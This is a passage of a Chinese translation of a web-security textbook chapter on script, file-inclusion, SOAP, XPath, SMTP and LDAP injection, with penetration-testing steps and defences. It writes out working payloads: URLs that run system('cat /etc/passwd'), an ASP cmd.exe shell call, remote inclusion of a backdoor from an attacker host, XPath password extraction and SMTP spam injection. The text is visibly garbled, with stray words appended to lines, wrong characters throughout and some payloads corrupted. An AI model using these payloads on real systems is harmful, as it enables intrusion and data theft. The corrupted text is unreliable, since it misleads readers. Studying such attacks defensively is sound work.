PHP函数eval可用于动态执行在运行时传送给该函数的代码。下面以一个搜索功能为例,该功能容许用户保存搜索,而后在用户界面上以连接的形式动态生成这些搜索。若是用户访问该搜索功能,他们使用下面的URL:https://wahh-app.com/search.php?storedsearch=\$mysearch%3dwahhphp
服务器端应用程序经过动态生成变量来执行这项功能,生成的变量包含在storedsearch参数中指定的名称/值对;在当前状况下,它建立值为wahh的变量mysearch。node
$Storedsearch = $_GET['storedsearch'];程序员
eval(·$storedsearch;");正则表达式
这时就能够提交专门设计的输入,由eval函数动态执行,从而在服务器端应用程序中注入任意PHP命令。分号字符可用于在单独一个参数中将几个命令连接在一块儿。例如,要获取文件/etc/password的内容,可使用file_get_contents或system命令:后端
https://wahh-app.com/search.php?storedsearch=\$mysearch%3dwahh;安全
%20echo%20file_get_contents('\etc\passwd')服务器
https://wahh-app.com/search.php?storedsearch=\$mysearch%3dwahh;cookie
%20system('cat%20/etc/passwd')网络
Perl语言也包含一个可经过一样的方式加以利用的eval函数。注意,可能须要对分号字符进行URL编码(为%3b),由于一些CGI脚本解析器将它解释为参数分隔符。app
ASP函数Execute与PHP函数eval的工做机制相同,可用于动态执行在运行时传送给函数的代码。
上面描述的PHP应用程序功能可用以下ASP代码执行:
dim storedsearch
storedsearch = Request("storedsearch")
execute(storedsearch)
这时,攻击者可提交专门设计的输入,注入任意ASP命令。在ASP中,通常用换行符分隔不一样的命令,但当想Execute函数提交命令时,几个命令之间能够用冒号连接在一块儿。例如,
response.write可用于将任意数据写入服务器响应中:
https://wahh-app.com/search.asp?storedsearch=mysearch%3dwahh;
response.write%2011111111
Wscript.Shell对象可用于访问操做系统命令Shell。例如,下面的ASP代码将列出目录内容,并将结果保存在Web根目录下得一个文件中:
Dim oScript
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Call oScript.Run("cmd.exe /c dir > c:\inetpub\wwwroot\dir.txt",0,True)
将全部的命令经过如下方式连接起来,这段代码还能够提交给易受攻击的Execute函数:
https://wahh-app.com/search.asp?storedsearch=mysearch%3dwahh:+dim+oScript;+Set+oScript+=+Server.CreateObject("WSCRIPT.SHELL");+
Call+oScript.Run+("cmd.exe+/c+dir+>c:\inetpub\wwwroot\dir.txt",0,True)
大多数Web应用程序支持动态执行,并且相关函数的工做机制大致类似。一般而言,使用一组数量相对较少,可用于多种语言和平台的攻击字符串就能够检测出动态执行漏洞。然而,有时候,可能必须研究所针对的函数的语法和行为。例如,虽然Java自己并不支持动态执行,但JSP平台的一些定制函数可能支持它。应当使用在应用程序解析过程当中收集到的信息,分析遇到的任何不常见的执行环境。
渗透测试步骤:
1.用户提交的全部数据项均可提交给动态执行函数。其中最多见的数据项是cookie参数名称和参数值,以及做为前一项操做结果保存在用户资料中的永久数据。
2.尝试轮流向目标参数提交下列值:
;echo%20111111
echo%20111111
response.write%20111111
:response.write%20111111
3.监控应用程序的响应。
若是字符串111111被单独返回(即它前面没有其余命令字符串),就表示应用程序可能易于受到脚本命令注入。
4.若是字符串111111并未返回,寻找任何表示输入被动态执行的错误消息;另外,可能须要对语法进行调整,以实现注入任意命令的目的。
5.若是攻击的应用程序使用PHP,可使用测试字符串phpinfo()。若是他成功执行,应用程序将返回PHP环境的配置信息。
6.若是应用程序可能易于受到攻击,与前面描述的查找OS命令注入漏洞同样,注入一些形成时间延迟的命令确认这一点。例如:
system('ping%20127.0.0.1')
许多脚本语言支持使用包含文件(include file).这种功能容许开发者把可重复使用的代码插入到单个的文件中,并在须要时将他们包含的特殊功能的的代码文件中。而后,包含文件中的代码被解释,就好像插入到包含指令的位置同样。
PHP语言特别容易出现文件包含漏洞。由于他得包含函数接受一个远程文件路径。这种缺陷已经成为PHP应用程序中大量漏洞的根源。
以一个向不一样位置的人们传送各类内容的应用程序为例。用户选择他们的位置后,这个信息经过一个请求传送给服务器,代码以下:
https://wahh-app.com/main.php?Country=US
应用程序经过如下方式处理Country参数:
$country = $_GET('country');
include($country.'.php');
这使得执行环境加载位于WEB服务器文件系统中的US.PHP文件。而后,这个文件的内容被复制到main.php文件中,并得以执行。
攻击者可以以各类方式利用这种行为,最严重的状况是指定一个外部URL做为包含文件的位置。PHP包含函数接受这个位置做为输入,接着,执行环境将获取指定的文件夹并执行其内容。所以,攻击者可以构建一个包含任意复杂内容的恶意脚本,将其寄存在他控制的WEB服务器上,并经过易受攻击的应用程序函数调用它而后执行。例如:
https://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor
有时,应用程序根据用户可控制的数据加载包含文件,但这时不可能给位于外部服务器上的文件指定URL。例如,若是用户可控制的数据被提交给ASP函数Server.Execute,那么攻击者就能够执行任意一段ASP脚本,只要这段脚本属于调用这个函数的相同应用程序。
在这种状况下,攻击者仍然能够利用应用程序的行为执行未受权操做。
1.服务器上可能有一些经过正常途径没法访问的文件,例如,任何访问路径/admin的请求都会被应用程序实施的访问控制阻止。若是可以将敏感功能包含在一个得到受权能够访问的页面中,那么就能够访问那个功能。
2.服务器上的一些静态资源也受到一样的保护,没法直接访问。若是可以将这些动态包含在其余应用程序页面中,那么执行环境就会将静态资源的内容复制到它的响应中。
渗透测试步骤:
要测试远程文件包含漏洞,执行如下步骤:
1.向每个目标参数提交一个链接受控制的WEB服务器资源的URL,并肯定是否收到运行目标应用程序的服务器提出的任何请求。
2.若是第一次测试失败,尝试提交一个包含不存在的IP地址的URL,并肯定服务器试图与这个地址创建链接时是否出现超时。
3.若是发现应用程序易于受到远程文件包含攻击,与前面描述的动态执行攻击同样,使用相关语言中可用的API,构建一段恶意脚本实施攻击。
相对于远程文件包含而言,存在本地文件包含漏洞的脚本环境要更多一些。要测试本地文件漏洞,执行如下步骤:
(1)提交服务器上一个已知可执行资源的名称,肯定应用程序的行为是否有任何变化。
(2)提交服务器上一个已知静态资源的名称,肯定它的内容是否被复制到应用程序的响应中。
(3)若是应用程序易于受到本地文件包含攻击,尝试经过Web服务器访问任何没法直接到达的敏感功能或资源。
3.防止脚本注入漏洞
一般而言,防止脚本注入漏洞的最佳方法是,避免将用户提交的输入或者来自用户的数据传送给任何动态执行或包含函数。若是因为某种缘由必须传送用户提交的输入,那么应对相关输入进行严格的确认检查以阻止任何攻击。若有可能,使用一份由已知可靠的值组成的“白名单”(例如应用程序支持的全部语言或位置名单),并拒绝任何没有出如今这个名单上的输入。若是没法作到这一点,应根据一组已知无害的字符[如字母数字字符(空白符除外)],检查在输入中使用的字符。
SOAP(Simple Object Access Protocol,简单对象访问协议)是一种使用XML格式封装数据、基于消息的通讯技术。
渗透测试步骤:
1.轮流在每一个参数中提交一个恶意XML结束标签,如</foo>。若是没有发生错误,那么输入可能没有插入到SOAP消息中,或者以某种方式净化了。
2.若是出现错误,提交一对有效的起始与结束标签,如<foo></foo>。若是这对标签使得错误消失,那么应用程序极可能易于受到攻击。
3.有些时候,插入到XML格式消息中的数据随后以XML格式被读取并返回给用户。若是修改的数据项在应用程序的响应中返回,看看提交的任何XML内容是否以相同的形式返回,或者已经过某种方式被规范化。轮流提交下面两个值:
test<foo/>
test<foo></foo>
若是发现其中一个值的返回结果为另外一个值,或者只返回test,那么能够确信输入被插入到了XML消息中。
4.若是HTTP请求中包含几个可放入到SOAP消息中的参数,尝试在一个参数中插入起始注释字符<!--,在另外一个参数中插入结束注释字符!-->。而后,轮换在参数中插入这两个字符(由于没法知道参数出现的顺序)。这样作可能会把服务器SOAP消息的某个部分做为注释处理,从而改变应用程序的逻辑,或者造成一个可能造成消息泄露的不一样错误条件。
咱们能够在用户提交的数据被插入SOAP消息中的任何位置实施边界确认过滤,以防止SOAP注入。须要进行过滤的数据包括用户在当前请求中直接提交的数据,以及在前面的请求中已经存在或由以用户数据为输入的其余处理过程生成的数据。
为防止以上上述攻击,应用程序应对出如今用户输入中的任何XML元字符进行HTML编码。HTML编码包含用对应的HTML实体替代字面量字符。这样作可确保XML注释器在进行处理时,把他们当作相关元素的数据值,而不是消息结构的一部分。一些常常形成问题的字符的HTML编码以下:
< <
> >
/ /
XPath(XML路径语言)是一种用于导航XML文档并从中获取数据的解释型语言。许多时候i,一个XPath表达式表明由一个文档节点导航到另外一个文档节点所须要的一些列步骤。
一个获取全部电子邮件地址的XPath查询以下:
//address/email/text()
一个返回Dawes的所有用户资料的查询为:
//address[surname/text() = 'Dawes']
以一个根据用户名和密码得到用户保存的信用卡号码的一个用程序为例。下面的XPath查询核实用户提交的证书,并获取相关用户的信用卡号码:
//address[surname/text() = 'Dawes' and password/text() = 'secret']/ccard/text()
与利用SQL注入漏洞同样,这时攻击者也能够破坏应用程序的查询。例如,提交密码值:'or 'a'='a
将致使下面的XPath查询,获取全部用户的信用卡信息:
//address[surname/text()='Dawes' and password/text()='' or 'a'='a']/ccard/text()
与SQL注入同样,注入一个数字值时不须要单引号。
与SQL查询不一样,XPath查询中的关键字区分大小写,XML文档中的元素名也区分大小写。
提交如下两个密码将致使应用程序的不一样行为:第一种状况返回结果,但第二种状况不返回结果。
'or 1=1 and 'a'='a
'or 1=2 and 'a'='a
这种行为差别可用于测试任何特殊条件的真假,所以可经过它一次一个字节的提取出任意信息。与SQL同样,XPath语言也包含一个子字符串函数,可用它一次一个字符的测试一个字符串的值。例如,提交密码
'or //address[surname/text()='Gates' and substring(password/text(),1,1)='M'] and 'a'='a
将致使下面的XPath查询,若是用户Gates密码的第一个字符为M,将返回查询结果:
//address[surname/text()='Dawes' and password/text()='' or
//address[surname/text()='Gates' and substring(password/text(),1,1)='M'] and 'a'='a']/ccard/text()
轮流针对每一个字符位置并测试每一个可能的值,攻击者就可以得到Gates的完整密码。
XPath查询可包含与XML文档中当前节点有关的步骤,所以,从前节点能够导航到父节点或一个特定的子节点。另外,XPath包含可查询文档元信息(包括特殊元素的名称)的函数。使用这些技巧就能够提取出文档中全部节点的名称与值,而没必要提早知道与它的结构或内容有关的任何信息。
例如,可使用前面描述的子字符串技巧,经过提交以下格式的密码,提取当前节点的父节点名称:
'or substring(name(parent:;*[position()=1]),1,1)='a
这个输入可以返回结果,由于address节点的第一个字母为a。轮到第二个字母,这时能够经过提交下列密码肯定该字母为d,由于最后一个输入返回告终果:
'or substring(name(parent:;*[position()=1]),2,1)='a
'or substring(name(parent:;*[position()=1]),2,1)='b
'or substring(name(parent:;*[position()=1]),2,1)='c
'or substring(name(parent:;*[position()=1]),2,1)='d
肯定address节点的名称后,攻击者就能够轮流攻击它的每个子节点,提取出他们的名称与值。经过索引肯定相关子节点可没必要知道任何节点的名称。例如,下面的查询将返回值Hunter:
//address[position()=3]/child::node()[position()=4/text()
而下面的查询返回值letmein
//address[position()=3]/child::node()[position()=6]/text()
这种技巧可用在彻底盲目的攻击中,这时应用程序在响应中不返回任何结果,咱们能够设计一个注入条件,经过索引指定目标节点。例如,若是Gates密码的第一个字母为M,提交下面的密码将返回结果:
'or substring(//address[position()=1]/child::node()[position()=6]/text(),1,1)='M' and 'a'='a
轮流攻击每一个地址节点的每一个子节点,并一次一个字符的提取出他们的值,攻击者就能够提取整个XML数据的内容。
XPath中有两个有用的函数,可帮助自动完成上述攻击,迅速遍历XML文档中的全部节点和数据。
(1)count(),这个函数返回指定元素的子节点数量,可用于肯定须要遍历的position()值的范围
(2)string-length(),这个函数返回一个被提交的字符串的长度,可用于肯定须要遍历的SubString()值的范围。
许多经常使用于探查SQL注入漏洞的攻击字符串若是被提交给一个易于受到XPath注入的函数,每每会致使反常行为。例如,下面的两个字符将会破坏XPath查询的语法,从而形成错误:
'
'--
一般,与在SQL注入漏洞中同样,下面的一个或几个字符串将会使应用程序的行为发生变化,但不会形成错误:
' or 'a'='a
' and 'a'='b
or 1=1
and 1=2
所以,,任什么时候候,若是在探查SQL注入过程当中发现一个漏洞的初步证据,但却没法对该漏洞加以利用,那么遇到的可能就是XPath注入漏洞。
渗透测试步骤:
1.尝试提交下面的值,并肯定他们是否会使应用程序的行为发生变化,但不会形成错误:
' or count(parent::*[position()=1])=0 or 'a'='b
' or count(parent::*[position()=1])>0 or 'a'='b
2.若是参数为数字,尝试提交下面的字符串:
1 or count(parent::*[position()=1])=0
1 or count(parent::*[position()=1])>0
3.若是上面的任何字符串致使应用程序的行为发生改变,但不会形成错误,极可能能够经过设计测试条件,一次提取一个字节的信息,从而获取任意数据。使用一系列如下格式的条件肯定当前节点的父节点的名称:
substring(name(parent::*[position()=1]),1,1)='a'
4.提取父节点的名称后,使用一系列下面格式的条件提取XML树中的全部数据:
substring(//parentnodename[position()=1]/child::node()[position()=1]/text(),1,1)='a'
若是以为必须在一个XPath查询中插入用户提交的输入,也只应提交可实施严格输入确认的简单数据。应根据一份可接受字符组成的“白名单”检查用户输入,其中最好只包括字母数字字符。应阻止任何可能破坏XPath查询的字符,包括()= ' [] :, * /和全部空白符。应拒绝而不是净化任何与白名单不匹配的输入。
许多应用程序用友一项容许用户经过应用程序提交消息的功能。例如,向支持人员报告问题或提供关于Web站点的反馈。这项功能通常经过邮件(或SMTP)服务器执行。一般,用户提交的输入被插入到邮件服务器处理的SMTP会话中。若是攻击者可以提交未被过滤或净化的专门设计的输入,就能够在这个会话中注入任意SMTP命令。许多时候,应用程序容许指定消息的内容和本身的电子邮件(插入到生成电子邮件的From字段中)。还能够指定消息的主题和其余细节。可以控制的任何字段都易于受到SMTP注入。
SMTP注入漏洞,他们扫描因特网查找易受攻击的邮件表单,并使用他们生成大量垃圾电子邮件,垃圾电子邮件的发送者常常利用。
这里,用户可指定一个From地址和消息的内容。应用程序把这个输入传送给PHP mail()命令,由它创建邮件并与他配置的邮件服务器进行必要的会话。生成的邮件以下:
To:admin@wahh-app.com
From:marcus@wahh-mail.com
Subject:Site problem
Confirm order page doesn't load.
PHP mail()命令使用additional_headers参数为消息设定From地址。这个参数还可用于指定其余消息头,包括Cc和Bcc,并用换行符分隔每一个被请求的消息头。所以,攻击者能够经过在From字段中注入一个消息头,将消息发送给任意接收者。
marcus@wahh-mail.com%OaBcc:all@wahh-othercompany.com
这使得mail()命令生成如下消息:
To:admin@wahh-app.com
From:marcus@wahh-mail.com
Bcc:all@wahh-othercompany.com
Subject:Site problem
Confirm Order page doesn't load
在其余状况下,应用程序可能会执行SMTP会话,或者将用户提交的输入传送给一个不一样组件以完成这一任务。这时,咱们就能够直接在这个会话中注入任意SMTP命令,彻底控制由应用程序生成的消息。
例如,以一个使用如下请求提交站点反馈的应用程序为例:
Post feedback.php HTTP/1.1
Host:wahh-app.com
Content-Length:56
From=daf@wahh-mail.com@subject=Site+feedback&Message=foo
这使得应用程序使用如下命令开始一个SMTP会话:
MAIL FROM:daf@wahh-mail.com
RCPT TO:feedback@wahh-app.com
DATA
From:daf@wahh-mail.com
To:feedback@wahh-app.com
Subject:Site feedback
foo
SMTP 客户发出DATA命令后,应用程序送出电子邮件消息的内容,包括消息头和主体,而后发送一个点自如(.),这告诉服务器消息已经发送完毕,客户能够发出其余SMTP命令,发送其余消息。
这时,攻击者能够在任何控制的电子邮件字段中注入任意SMTP命令。例如,他能够尝试注入Subject字段,以下所示:
POST feedback.php HTTP/1.1
Host:wahh-app.com
Content-Length:266
From=daf@wahh-mail.com&Subject=Site+feedback%Od%Oafoo%Od%Oa%2e%Od%OaMAIL+FROM:+mail@wahh-viagra.com%Od%OaRCPT+TO:+john@wahh-mail.com
%Od%OaDATA%Od%OaFROM:+mail@wahh-viagra.com%Od%OaTO:+john@wahh-mail.com%Od%OaSubject:+Cheap+VLAGR4%Od%OaBlah%Od%Oa%2e%Od%Oa&Message=foo
若是应用程序易受攻击,那么会创建如下SMTP会话,它生成两个不一样的电子邮件消息,其中第二个彻底由攻击者控制:
MAIL FROM:daf@wahh-mail.com
RCPT TO:feedback@wahh-app.com
DATA
From:daf@wahh-mail.com
TO:feedback@wahh-app.com
Subject:Site+feedback
foo
.
Mail FROM:mail@wahh-viagra.com
RCPT TO:john@wahh-mail.com
DATA
FROM:mail@wahh-viagra.com
TO:john@wahh-mail.com
Subject:Cheap VIAGR4
Blah
.
foo
.
为了有效探查应用程序的邮件功能,须要测试每个提交给电子邮件有关的功能的参数,甚至那些最初可能与生成的消息无关的参数。
渗透测试员还应该测试每一种攻击,并在每一个测试中使用Windows和UNIX形式的换行符。
渗透测试步骤:
1.应当轮流提交下面的每一个测试字符串做为每个参数,在相关位置插入电子邮件地址。
<youremail>%OaCc:<youremail>
<youremail>%Od%OaCc:<youremail>
<youremail>%OaBcc:<youremail>
<youremail>%Od%OaBcc:<youremail>
%OaDATA%Oafoo%Oa%2e%OaMAIL+FROM:+<youremail>%OaRCPT+TO:+<youremail>%OaDATA%OaFrom:+<youremail>%OaTO:+<youremail>%OaSubject:+test%Oafoo%Oa%2e%Oa
%Od%OaDATA%Od%Oafoo%Od%Oa%2e%Od%OaMAIL+FROM:+<youremail>%Od%OaRCPT+TO:+<youremail>%Od%OaDATA%Od%OaFrom:+<youremail>%Od%OaTO:+<youremail>%Od%OaSubject:+test%Od%Oafoo%Od%Oa%2e%Od%Oa
2.留意应用程序返回的任何错误消息。若是这些错误与电子邮件功能中的任何问题有关,肯定是否须要对输入进行调整,以便利用漏洞。
3.应用程序的响应可能并不以任何形式表示一个漏洞存在或被成功利用。应该监控指定的电子邮件地址,看是否收到任何电子邮件。
4.仔细检查生成相关请求的HTML表单。他们可能提供与服务器端使用软件有关的线索。其中可能包含一个用于指定电子邮件收件人地址的隐藏或禁用字段,能够直接对其进行修改。
5.向程序支持人员发送电子邮件的功能经常被视为外围功能,应用程序可能并不对其采用与主要功能相同的安全标准,或者进行严格的测试。并且,由于他们须要链接不经常使用的后端组件,应用程序每每经过直接调用相关操做系统命令来执行他们。所以,除探查SMTP注入漏洞外,还应及其仔细地检查全部与电子邮件有关的功能,查找OS命令注入漏洞。
若是对提交给电子邮件功能或SMTP会话使用的任何用户提交的数据进行严格的确认检查,就能够防止SMTP注入漏洞。所以,应根据其用途对每项数据进行尽量严格的确认。
(1)应根据一个适当的正则表达式检查电子邮件地址(固然应拒绝全部换行符)
(2)消息主题不得包含任何换行符,并应实施适当的长度限制。
(3)若是消息内容被一个SMTP会话直接使用,那么应禁止使用仅包含一个点字符的消息行。
LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)用于访问网络中的目录服务。Windows域中使用的活动目录(Active Directory)就是这种目录的一个典型示例。
要在查询结果中获取其余属性,必须首先终止包含查询过滤器的括号,而后指定其余想要的属性。例如,提交
GUILL);mail.cn;
将致使如下查询:
<LDAP://ldapserver>;<givenName=GUILL);mail.cn;);cn,telephoneNumber,department
它返回另一个包含用户电子邮件地址的栏。
请注意另一个包含恶意属性名cn;);cn的栏。LDAP查询属性在一个用逗号分隔的列表中指定,所以两个逗号之间的任何内容都被当作属性名处理。还请注意,若是指定彻底任意的属性名,活动目录将返回一个错误;可是,它接受以有效名称开始、后接一个分号的无效属性名,所以须要在注入字符串后指定cn;。
还能够指定在结果中返回任何数量的字段,而且能够用一个星号(*)做为经过通配符表明主查询过滤器。例如,提交
*);cn,l,co,st,c,mail,cn;
将返回属于每名用户的所有字段。
有时,用户提交的输入并不直接用做查询过滤器的所有值,而是嵌入到一个更加复杂的过滤器中。例如,若是执行搜索的用户只能查见解国雇员的资料,应用程序将执行如下查询:
<LDAP://ldapserver>;(&(givenName=GUILL)(c=FR));cn,telephoneNumber,department,c
这个查询使用&操做符组合两个条件:一个条件由用户控制,另外一个条件由应用程序员预先设定。提交搜索项*将返回全部法国用户的资料。可是,提交字符串*));cn,cn;
应用程序将执行如下查询:
<LDAP://ldapserver>;(&(givenName=*));cn,cn;)(c=FR));cn,telephoneNumber,department,c
它会从查询过滤器中删除(c=FR)条件,破坏应用程序最初的逻辑,于是返回全部用户的资料,
向一项LDAP操做提交无效的输入并不会生成任何详细的错误消息。一般,由搜索功能返回的结果和发生的错误(如一个HTTP500状态码)都有助于肯定漏洞。可是,渗透测试员可使用如下步骤相对可靠的肯定一个LDAP注入漏洞:
渗透测试步骤:
1.尝试仅输入*字符做为搜索项。在LDAP中,这个字符是一个通配符,但在SQL中不是。若是返回大量结果,这种状况明显表示攻击针对的是一个LDAP查询
2.尝试输入大量的括号:))))))))))
3.这个输入将结束任何括住输入、以及那些包含主查询过滤器的括号,致使没法匹配的闭括号,于是破坏查询的语法。若是发生错误,应用程序就易于受到LDAP注入。(注意,这种输入也会破坏其余许多类型的应用程序逻辑,所以,若是已经肯定所针对的是一个LDAP查询,它只能提供一个明显的指标)
4.尝试输入下面的一系列表达式,直到再也不出现错误,从而肯定要控制剩下的查询,须要结束多少个括号:
*);cn;
*));cn;
*)));cn;
*))));cn;
5.尝试在输入结尾增长其余属性,用逗号分隔这些属性。轮流测试每个属性。若是返回错误消息,那么该属性当前无效。经常使用在目录中被LDAP查询的属性包括:
cn;c,mail,givenName,o,ou,dc,l,uid,objectclass,postaladdress,dn,sn
若是有必要在一个LDAP查询中插入用户提交的输入,也只提交可实施输入确认的简单数据。应根据一份可接受字符“白名单”检查用户输入,其中最好只包括字母数字字符。应阻止任何可能破坏LDAP查询的字符,包括();, * | & 和 =。应拒绝而不是净化任何与白名单不匹配的输入。